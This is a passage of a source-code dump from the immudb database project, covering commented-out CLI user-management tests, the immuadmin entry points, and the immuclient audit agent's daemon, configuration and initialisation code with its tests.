&clienttest.PasswordReaderMock{} immuClientMock := &clienttest.ImmuClientMock{} cl := &commandline{ passwordReader: pwReaderMock, immuClient: immuClientMock, } errListUsers := errors.New("list users error") immuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) { return nil, errListUsers } username := "user1" databasename := "defaultdb" permission := "admin" args := []string{username, permission, databasename} _, err := cl.userCreate(args) require.ErrorIs(t, err, errListUsers) immuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) { return &schema.UserList{ Users: []*schema.User{&schema.User{User: []byte(username)}}, }, nil } _, err = cl.userCreate(args) require.Equal(t, fmt.Errorf("User %s already exists", username), err) immuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) { return nil, nil } errListDatabases := errors.New("list databases error") immuClientMock.DatabaseListF = func(context.Context) (*schema.DatabaseListResponse, error) { return nil, errListDatabases } _, err = cl.userCreate(args) require.ErrorIs(t, err, errListDatabases) immuClientMock.DatabaseListF = func(context.Context) (*schema.DatabaseListResponse, error) { return &schema.DatabaseListResponse{ Databases: []*schema.Database{&schema.Database{Databasename: "sysdb"}}, }, nil } _, err = cl.userCreate(args) require.Equal(t, fmt.Errorf("Database %s does not exist", databasename), err) immuClientMock.DatabaseListF = func(context.Context) (*schema.DatabaseListResponse, error) { return &schema.DatabaseListResponse{ Databases: []*schema.Database{ &schema.Database{Databasename: "sysdb"}, &schema.Database{Databasename: databasename}, }, }, nil } args[1] = "UnknownPermission" _, err = cl.userCreate(args) require.Equal( t, fmt.Errorf( "Permission %s not recognized: allowed permissions are read, readwrite, admin", args[1]), err) args[1] = permission pwReaderMock.ReadF = func(msg string) ([]byte, error) { return nil, errors.New("password reading error") } _, err = cl.userCreate(args) require.EqualError(t, err, "Error Reading Password") pwReaderMock.ReadF = func(msg string) ([]byte, error) { return []byte("weakpassword"), nil } _, err = cl.userCreate(args) require.Equal( t, errors.New("Password does not meet the requirements. It must contain upper and lower case letters, digits, punctuation mark or symbol"), err) pwReadCounter := 0 pwReaderMock.ReadF = func(msg string) ([]byte, error) { pwReadCounter++ if pwReadCounter == 1 { return []byte("$trongPass1!"), nil } return nil, errors.New("password reading error 2") } _, err = cl.userCreate(args) require.EqualError(t, err, "Error Reading Password") pwReadCounter = 0 pwReaderMock.ReadF = func(msg string) ([]byte, error) { pwReadCounter++ if pwReadCounter == 1 { return []byte("$trongPass1!"), nil } return []byte("$trongPass2!"), nil } _, err = cl.userCreate(args) require.EqualError(t, err, "Passwords don't match") errCreateUser := errors.New("create user error") immuClientMock.CreateUserF = func(context.Context, []byte, []byte, uint32, string) error { return errCreateUser } _, err = cl.userCreate(args) require.ErrorIs(t, err, errCreateUser) immuClientMock.CreateUserF = func(context.Context, []byte, []byte, uint32, string) error { return nil } resp, err := cl.userCreate(args) require.NoError(t, err) require.Equal(t, fmt.Sprintf("Created user %s", username), resp) } func TestUserActivate(t *testing.T) { bs := servertest.NewBufconnServer(server.DefaultOptions().WithAuth(true).WithInMemoryStore(true)) bs.Start() defer bs.Stop() pr := &immuclienttest.PasswordReader{ Pass: []string{"immudb", "MyUser@9", "MyUser@9"}, } ctx := context.Background() dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) clientb, _ := client.NewImmuClient(cliopt) token, err := clientb.Login(ctx, []byte("immudb"), []byte("immudb")) require.NoError(t, err) md := metadata.Pairs("authorization", token.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) clientb, _ = client.NewImmuClient(cliopt) err = clientb.CreateDatabase(ctx, &schema.Database{ Databasename: "mydb", }) require.NoError(t, err) err = clientb.CreateUser(ctx, []byte("myuser"), []byte("MyUser@9"), auth.PermissionAdmin, "defaultdb") require.NoError(t, err) cmdl := commandline{ options: cliopt, immuClient: clientb, passwordReader: pr, context: ctx, } cmd, _ := cmdl.NewCmd() cmdl.user(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"user", "activate", "myuser"}) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil usrcmd := cmd.Commands()[0] usrcmd.PersistentPreRunE = nil err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "User status changed successfully") } func TestUserDeactivate(t *testing.T) { bs := servertest.NewBufconnServer(server.DefaultOptions().WithAuth(true).WithInMemoryStore(true)) bs.Start() defer bs.Stop() pr := &immuclienttest.PasswordReader{ Pass: []string{"immudb", "MyUser@9", "MyUser@9"}, } ctx := context.Background() dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) clientb, _ := client.NewImmuClient(cliopt) token, err := clientb.Login(ctx, []byte("immudb"), []byte("immudb")) require.NoError(t, err) md := metadata.Pairs("authorization", token.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) clientb, _ = client.NewImmuClient(cliopt) err = clientb.CreateDatabase(ctx, &schema.Database{ Databasename: "mydb", }) require.NoError(t, err) err = clientb.CreateUser(ctx, []byte("myuser"), []byte("MyUser@9"), auth.PermissionAdmin, "defaultdb") require.NoError(t, err) cmdl := commandline{ options: cliopt, immuClient: clientb, passwordReader: pr, context: ctx, } cmd, _ := cmdl.NewCmd() cmdl.user(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"user", "deactivate", "myuser"}) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil usrcmd := cmd.Commands()[0] usrcmd.PersistentPreRunE = nil err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "User status changed successfully") } func TestUserActivateErrors(t *testing.T) { immuClientMock := &clienttest.ImmuClientMock{} cl := &commandline{ immuClient: immuClientMock, } errSetActiveUser := errors.New("set active user error") immuClientMock.SetActiveUserF = func(context.Context, *schema.SetActiveUserRequest) error { return errSetActiveUser } _, err := cl.setActiveUser([]string{"user1"}, true) require.ErrorIs(t, err, errSetActiveUser) } func TestUserPermission(t *testing.T) { bs := servertest.NewBufconnServer(server.DefaultOptions().WithAuth(true).WithInMemoryStore(true)) bs.Start() defer bs.Stop() pr := &immuclienttest.PasswordReader{ Pass: []string{"immudb", "MyUser@9", "MyUser@9"}, } ctx := context.Background() dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) clientb, _ := client.NewImmuClient(cliopt) token, err := clientb.Login(ctx, []byte("immudb"), []byte("immudb")) require.NoError(t, err) md := metadata.Pairs("authorization", token.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) clientb, _ = client.NewImmuClient(cliopt) err = clientb.CreateDatabase(ctx, &schema.Database{ Databasename: "mydb", }) require.NoError(t, err) err = clientb.CreateUser(ctx, []byte("myuser"), []byte("MyUser@9"), auth.PermissionAdmin, "defaultdb") require.NoError(t, err) cmdl := commandline{ options: cliopt, immuClient: clientb, passwordReader: pr, context: ctx, } cmd, _ := cmdl.NewCmd() cmdl.user(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"user", "permission", "grant", "myuser", "readwrite", "mydb"}) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil usrcmd := cmd.Commands()[0] usrcmd.PersistentPreRunE = nil err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "Permission changed successfully") } func TestUserPermissionErrors(t *testing.T) { immuClientMock := &clienttest.ImmuClientMock{} cl := &commandline{ immuClient: immuClientMock, } args := []string{"UnknownPermissionAction", "user1", "read", "db1"} _, err := cl.setUserPermission(args) require.Equal( t, fmt.Errorf("wrong permission action. Only grant or revoke are allowed. Provided: %s", args[0]), err) args[0] = "revoke" args[2] = "UnknownPermission" _, err = cl.setUserPermission(args) require.Equal( t, fmt.Errorf( "Permission %s not recognized: allowed permissions are read, readwrite, admin", args[2]), err) args[2] = "read" errChangePermission := errors.New("change permission error") immuClientMock.ChangePermissionF = func(context.Context, schema.PermissionAction, string, string, uint32) error { return errChangePermission } _, err = cl.setUserPermission(args) require.ErrorIs(t, err, errChangePermission) } */ ================================================ FILE: cmd/immuadmin/fips/fips.go ================================================ //go:build fips // +build fips /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( _ "crypto/tls/fipsonly" immuadmin "github.com/codenotary/immudb/cmd/immuadmin/command" ) func main() { immuadmin.Execute() } ================================================ FILE: cmd/immuadmin/immuadmin.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import immuadmin "github.com/codenotary/immudb/cmd/immuadmin/command" func main() { immuadmin.Execute() } ================================================ FILE: cmd/immuclient/audit/auditagent.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package audit import ( "fmt" "os" "github.com/spf13/cobra" c "github.com/codenotary/immudb/cmd/helper" immusrvc "github.com/codenotary/immudb/cmd/sservice" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/auditor" "github.com/codenotary/immudb/pkg/client/state" "github.com/spf13/viper" "github.com/takama/daemon" ) // AuditAgent ... type AuditAgent interface { Manage(args []string, cmd *cobra.Command) (string, error) InitAgent() (AuditAgent, error) } type auditAgent struct { service immusrvc.Sservice uuidProvider state.UUIDProvider Daemon daemon.Daemon cycleFrequency int metrics prometheusMetrics ImmuAudit auditor.Auditor immuc client.ImmuClient firstRun bool opts *client.Options logger logger.Logger Pid server.PIDFile logfile *os.File } func (a *auditAgent) Manage(args []string, cmd *cobra.Command) (string, error) { var err error var msg string var command string if len(args) > 0 { command = args[0] } exec := newExecutable(a) if command == "install" { if _, err = a.InitAgent(); err != nil { c.QuitToStdErr(err) } } a.Daemon, err = a.service.NewDaemon(name, name) if err != nil { return "", err } if len(command) > 0 { switch command { case "install": if err = a.service.InstallSetup(name, cmd); err != nil { return "", err } logfile, err := os.OpenFile(a.opts.LogFileName, os.O_APPEND, 0755) if err != nil { logfile = os.Stderr } a.logfile = logfile a.logger = logger.NewSimpleLogger("immuclientd", logfile) configpath, err := a.service.GetDefaultConfigPath(name) if err != nil { return "", err } if msg, err = a.Daemon.Install("audit-mode", "--config", configpath); err != nil { return "", err } fmt.Println(msg) if msg, err = a.Daemon.Start(); err != nil { return "", err } return msg, nil case "uninstall": var status string if status, err = a.Daemon.Status(); err != nil { if err == daemon.ErrNotInstalled { return "", err } } // stopping service first if a.service.IsRunning(status) { if msg, err = a.Daemon.Stop(); err != nil { return "", err } fmt.Println(msg) } if msg, err = a.Daemon.Remove(); err != nil { return "", err } if err = a.service.UninstallSetup(name); err != nil { return "", err } return msg, nil case "start": if msg, err = a.Daemon.Start(); err != nil { return "", err } return msg, nil case "restart": if msg, err = a.Daemon.Stop(); err != nil { return "", err } fmt.Println(msg) if msg, err = a.Daemon.Start(); err != nil { return "", err } return msg, nil case "stop": return a.Daemon.Stop() case "status": return a.Daemon.Status() default: return fmt.Sprintf("Invalid arg %s", command), nil } } a.logger = logger.NewSimpleLogger("immuclientd", os.Stdout) if a.opts.LogFileName != "" { a.logger, a.logfile, err = logger.NewFileLogger("immuclientd", a.opts.LogFileName) defer a.logfile.Close() if err != nil { return "", err } } if _, err := a.InitAgent(); err != nil { return "", err } return a.Daemon.Run(exec) } func options() *client.Options { port := viper.GetInt("immudb-port") address := viper.GetString("immudb-address") tokenFileName := viper.GetString("tokenfile") mtls := viper.GetBool("mtls") certificate := viper.GetString("certificate") servername := viper.GetString("servername") pkey := viper.GetString("pkey") clientcas := viper.GetString("clientcas") pidpath := viper.GetString("pidfile") logfilename := viper.GetString("logfile") serverSigningPubKey := viper.GetString("server-signing-pub-key") options := client.DefaultOptions(). WithPort(port). WithAddress(address). WithTokenFileName(tokenFileName). WithMTLs(mtls).WithPidPath(pidpath). WithLogFileName(logfilename). WithServerSigningPubKey(serverSigningPubKey) if mtls { // todo https://golang.org/src/crypto/x509/root_linux.go options.MTLsOptions = client.DefaultMTLsOptions(). WithServername(servername). WithCertificate(certificate). WithPkey(pkey). WithClientCAs(clientcas) } return options } ================================================ FILE: cmd/immuclient/audit/auditagent_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package audit /* import ( "os" "strings" "testing" "github.com/codenotary/immudb/cmd/immudb/command/service/servicetest" "github.com/spf13/cobra" srvc "github.com/codenotary/immudb/cmd/immuclient/service/configs" "github.com/codenotary/immudb/cmd/immuclient/service/constants" immusrvc "github.com/codenotary/immudb/cmd/sservice" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/spf13/viper" "google.golang.org/grpc" ) func TestManageNotRoot(t *testing.T) { srvoptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(srvoptions) bs.Start() defer bs.Stop() os.Setenv("audit-agent-interval", "1s") pidPath := "pid_path" ad := new(auditAgent) ad.firstRun = true op := immusrvc.Option{ ExecPath: constants.ExecPath, ConfigPath: constants.ConfigPath, User: constants.OSUser, Group: constants.OSGroup, StartUpConfig: constants.StartUpConfig, UsageDetails: constants.UsageDet, UsageExamples: constants.UsageExamples, Config: srvc.ConfigImmuClient, } ad.service = immusrvc.NewSService(&op) logfilename := "logfile" logfile, err := os.OpenFile(logfilename, os.O_APPEND, 0755) require.NoError(t, err) ad.logfile = logfile ad.logger = logger.NewSimpleLogger("immuclientd", logfile) dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } ad.opts = options().WithMetrics(false).WithDialOptions(dialOptions).WithMTLs(false).WithPidPath(pidPath) _, err = ad.InitAgent() require.NoError(t, err, "InitAgent") defer func() { os.RemoveAll(pidPath); os.RemoveAll(logfilename) }() _, err = ad.Manage([]string{"uninstall"}, &cobra.Command{}) if err == nil || !strings.Contains(err.Error(), "You must have root user privileges. Possibly using 'sudo' command should help") { t.Fatal("Manage fail, expected error") } _, err = ad.Manage([]string{"start"}, &cobra.Command{}) if err == nil || !strings.Contains(err.Error(), "You must have root user privileges. Possibly using 'sudo' command should help") { t.Fatal("Manage fail, expected error") } _, err = ad.Manage([]string{"restart"}, &cobra.Command{}) if err == nil || !strings.Contains(err.Error(), "You must have root user privileges. Possibly using 'sudo' command should help") { t.Fatal("Manage fail, expected error") } _, err = ad.Manage([]string{"stop"}, &cobra.Command{}) if err == nil || !strings.Contains(err.Error(), "You must have root user privileges. Possibly using 'sudo' command should help") { t.Fatal("Manage fail, expected error") } _, err = ad.Manage([]string{"status"}, &cobra.Command{}) if err == nil || !strings.Contains(err.Error(), "You must have root user privileges. Possibly using 'sudo' command should help") { t.Fatal("Manage fail, expected error") } } func TestManage(t *testing.T) { srvoptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(srvoptions) bs.Start() defer bs.Stop() os.Setenv("audit-agent-interval", "1s") pidPath := "pid_path_2" ad := new(auditAgent) ad.firstRun = true ad.service = servicetest.Sservicemock{} logfilename := "logfile" logfile, err := os.OpenFile(logfilename, os.O_APPEND, 0755) require.NoError(t, err) ad.logfile = logfile ad.logger = logger.NewSimpleLogger("immuclientd", logfile) dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } ad.opts = options().WithMetrics(false).WithDialOptions(dialOptions).WithMTLs(false).WithPidPath(pidPath) _, err = ad.InitAgent() require.NoError(t, err, "InitAgent") os.RemoveAll(pidPath) defer func() { os.RemoveAll(pidPath); os.RemoveAll(logfilename) }() _, err = ad.Manage([]string{}, &cobra.Command{}) require.NoError(t, err, "Manage start audit fail") os.RemoveAll(pidPath) _, err = ad.Manage([]string{"install"}, &cobra.Command{}) require.NoError(t, err, "Manage install audit fail") os.RemoveAll(pidPath) _, err = ad.Manage([]string{"uninstall"}, &cobra.Command{}) require.NoError(t, err, "Manage uninstall fail") os.RemoveAll(pidPath) _, err = ad.Manage([]string{"start"}, &cobra.Command{}) require.NoError(t, err, "Manage start fail") os.RemoveAll(pidPath) _, err = ad.Manage([]string{"restart"}, &cobra.Command{}) require.NoError(t, err, "Manage restart fail") os.RemoveAll(pidPath) _, err = ad.Manage([]string{"stop"}, &cobra.Command{}) require.NoError(t, err, "Manage restart") os.RemoveAll(pidPath) _, err = ad.Manage([]string{"status"}, &cobra.Command{}) require.NoError(t, err, "Manage status") } func TestOptions(t *testing.T) { defer viper.Reset() viper.Set("immudb-port", "30000") viper.Set("immudb-address", "127.0.0.1") viper.Set("tokenfile", "tokenfile") viper.Set("mtls", true) viper.Set("certificate", "cert") viper.Set("servername", "myservername") viper.Set("pkey", "pkey") viper.Set("clientcas", "clientcas") viper.Set("pidfile", "pidfilename") viper.Set("logfile", "logfilename") op := options() if op.Address != "127.0.0.1" || op.Port != 30000 || op.TokenFileName != "tokenfile" || !op.MTLs || op.MTLsOptions.Certificate != "cert" || op.MTLsOptions.ClientCAs != "clientcas" || op.MTLsOptions.Pkey != "pkey" || op.MTLsOptions.Servername != "myservername" || op.PidPath != "pidfilename" || op.LogFileName != "logfilename" { t.Fatal("Options fail") } } */ ================================================ FILE: cmd/immuclient/audit/auditor.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package audit import ( "context" "crypto/ecdsa" "errors" "fmt" "os" "path/filepath" "strconv" "strings" "time" "github.com/codenotary/immudb/pkg/signer" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/immuos" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/auditor" "github.com/codenotary/immudb/pkg/client/cache" "github.com/codenotary/immudb/pkg/client/state" "github.com/spf13/viper" ) const ( name = "immuclient" description = "immuclient" ) // ErrAgentNotActive ... var ErrAgentNotActive = errors.New("agent not active") func (cAgent *auditAgent) InitAgent() (AuditAgent, error) { var err error if cAgent.immuc, err = client.NewImmuClient(cAgent.opts); err != nil || cAgent.immuc == nil { return nil, fmt.Errorf("Initialization failed: %s \n", err.Error()) } ctx := context.Background() sclient := cAgent.immuc.GetServiceClient() cAgent.uuidProvider = state.NewUUIDProvider(sclient) if cAgent.opts.PidPath != "" { if cAgent.Pid, err = server.NewPid(cAgent.opts.PidPath, immuos.NewStandardOS()); err != nil { cAgent.logger.Errorf("failed to write pidfile: %s", err) return nil, err } } cAgent.cycleFrequency = 60 if freqstr := os.Getenv("audit-agent-interval"); freqstr != "" { d, err := time.ParseDuration(freqstr) if err != nil { return nil, err } cAgent.cycleFrequency = int(d.Seconds()) } serverID, err := cAgent.uuidProvider.CurrentUUID(ctx) if serverID == "" || err != nil { serverID = "unknown" } if cAgent.opts.Metrics { cAgent.metrics.init(serverID, cAgent.opts.Address, strconv.Itoa(cAgent.opts.Port)) } cliOpts := cAgent.immuc.GetOptions() ctx = context.Background() auditUsername := viper.GetString("audit-username") auditPassword, err := auth.DecodeBase64Password(viper.GetString("audit-password")) if err != nil { return nil, err } auditDatabasesStr := viper.GetString("audit-databases") auditDatabasesArr := strings.Split(auditDatabasesStr, ",") var auditDatabases []string for _, dbPrefix := range auditDatabasesArr { dbPrefix = strings.TrimSpace(dbPrefix) if len(dbPrefix) > 0 { auditDatabases = append(auditDatabases, dbPrefix) } } auditNotificationURL := viper.GetString("audit-notification-url") auditNotificationUsername := viper.GetString("audit-notification-username") auditNotificationPassword := viper.GetString("audit-notification-password") if len(auditUsername) > 0 || len(auditPassword) > 0 { if _, err = cAgent.immuc.Login(ctx, []byte(auditUsername), []byte(auditPassword)); err != nil { return nil, fmt.Errorf("Invalid login operation: %v", err) } } auditMonitoringHTTPAddr := fmt.Sprintf( "%s:%d", viper.GetString("audit-monitoring-host"), viper.GetInt("audit-monitoring-port")) var pk *ecdsa.PublicKey if cliOpts.ServerSigningPubKey != "" { pk, err = signer.ParsePublicKeyFile(cliOpts.ServerSigningPubKey) if err != nil { return nil, err } } auditCacheDir := filepath.Join(os.TempDir(), "auditor") if err := os.MkdirAll(auditCacheDir, 0700); err != nil { return nil, fmt.Errorf("failed to create audit cache directory: %w", err) } cAgent.ImmuAudit, err = auditor.DefaultAuditor(time.Duration(cAgent.cycleFrequency)*time.Second, fmt.Sprintf("%s:%v", options().Address, options().Port), cliOpts.DialOptions, auditUsername, auditPassword, auditDatabases, pk, auditor.AuditNotificationConfig{ URL: auditNotificationURL, Username: auditNotificationUsername, Password: auditNotificationPassword, RequestTimeout: time.Duration(5) * time.Second, }, cAgent.immuc.GetServiceClient(), cAgent.uuidProvider, cache.NewHistoryFileCache(auditCacheDir), cAgent.metrics.updateMetrics, cAgent.logger, &auditMonitoringHTTPAddr) if err != nil { return nil, err } return cAgent, nil } ================================================ FILE: cmd/immuclient/audit/auditor_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package audit /* import ( "os" "testing" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/spf13/viper" "github.com/stretchr/testify/require" "google.golang.org/grpc" ) func TestInitAgent(t *testing.T) { defer viper.Reset() srvoptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(srvoptions) bs.Start() defer bs.Stop() os.Setenv("audit-agent-interval", "1s") pidPath := "pid_path" os.RemoveAll(pidPath) defer os.RemoveAll(pidPath) viper.Set("pidfile", pidPath) dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } ad := new(auditAgent) ad.logger = logger.NewSimpleLogger("TestInitAgent", os.Stderr) ad.opts = options().WithMetrics(false).WithDialOptions(dialOptions).WithMTLs(false) _, err := ad.InitAgent() os.RemoveAll(pidPath) require.NoError(t, err, "InitAgent") os.Setenv("audit-agent-interval", "X") _, err = ad.InitAgent() os.RemoveAll(pidPath) require.ErrorContains(t, err, "invalid duration") os.Unsetenv("audit-agent-interval") auditPassword := viper.GetString("audit-password") viper.Set("audit-password", "X") _, err = ad.InitAgent() os.RemoveAll(pidPath) require.ErrorContains(t, err, "Invalid login operation") viper.Set("audit-password", auditPassword) } */ ================================================ FILE: cmd/immuclient/audit/executable.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package audit import ( "fmt" "time" ) type executable struct { a *auditAgent stop chan struct{} } func newExecutable(a *auditAgent) *executable { exec := new(executable) exec.a = a exec.stop = make(chan struct{}, 1) return exec } func (e *executable) Start() { go e.Run() } func (e *executable) Stop() { e.stop <- struct{}{} } func (e *executable) Run() { fmt.Println(time.Duration(e.a.cycleFrequency) * time.Second) e.a.ImmuAudit.Run(time.Duration(e.a.cycleFrequency)*time.Second, false, e.stop, e.stop) } ================================================ FILE: cmd/immuclient/audit/executable_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package audit /* import ( "os" "testing" "time" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "google.golang.org/grpc" ) func TestExecutableRun(t *testing.T) { srvoptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(srvoptions) bs.Start() defer bs.Stop() dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } pidpath := "my_pid" ad := new(auditAgent) ad.opts = options().WithMetrics(false).WithDialOptions(dialOptions).WithMTLs(false).WithPidPath(pidpath) ad.logger = logger.NewSimpleLogger("test", os.Stdout) _, err := ad.InitAgent() require.NoError(t, err, "InitAgent") exec := newExecutable(ad) go func() { time.Sleep(200 * time.Millisecond) exec.Stop() }() exec.Run() os.RemoveAll(pidpath) } */ ================================================ FILE: cmd/immuclient/audit/init.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package audit import ( "fmt" "github.com/spf13/cobra" srvc "github.com/codenotary/immudb/cmd/immuclient/service/configs" service "github.com/codenotary/immudb/cmd/immuclient/service/constants" immusrvc "github.com/codenotary/immudb/cmd/sservice" ) // Init ... func Init(args []string, cmd *cobra.Command) (err error) { var auditAgent AuditAgent validargs := []string{"start", "install", "uninstall", "restart", "stop", "status", "help"} if len(args) > 0 && !stringInSlice(args[0], validargs) { return fmt.Errorf("ERROR: %v is not matching with any valid arguments.\n Available list is %v \n", args[0], validargs) } if auditAgent, err = NewAuditAgent(); err != nil { return err } if msg, err := auditAgent.Manage(args, cmd); err != nil { return err } else { fmt.Println(msg) } return nil } // NewAuditAgent ... func NewAuditAgent() (AuditAgent, error) { ad := new(auditAgent) ad.firstRun = true op := immusrvc.Option{ ExecPath: service.ExecPath, ConfigPath: service.ConfigPath, User: service.OSUser, Group: service.OSGroup, StartUpConfig: service.StartUpConfig, UsageDetails: service.UsageDet, UsageExamples: service.UsageExamples, Config: srvc.ConfigImmuClient, } ad.service = immusrvc.NewSService(&op) var err error ad.opts = options() daemon, err := ad.service.NewDaemon(name, description, name) if err != nil { return nil, err } ad.Daemon = daemon return ad, nil } ================================================ FILE: cmd/immuclient/audit/init_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package audit import ( "testing" "github.com/spf13/cobra" "github.com/stretchr/testify/assert" ) func TestInit(t *testing.T) { args := []string{"help"} err := Init(args, &cobra.Command{}) assert.NoError(t, err) } func TestInitWrongArg(t *testing.T) { args := []string{"wrong"} err := Init(args, &cobra.Command{}) assert.Error(t, err) } ================================================ FILE: cmd/immuclient/audit/metrics.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express 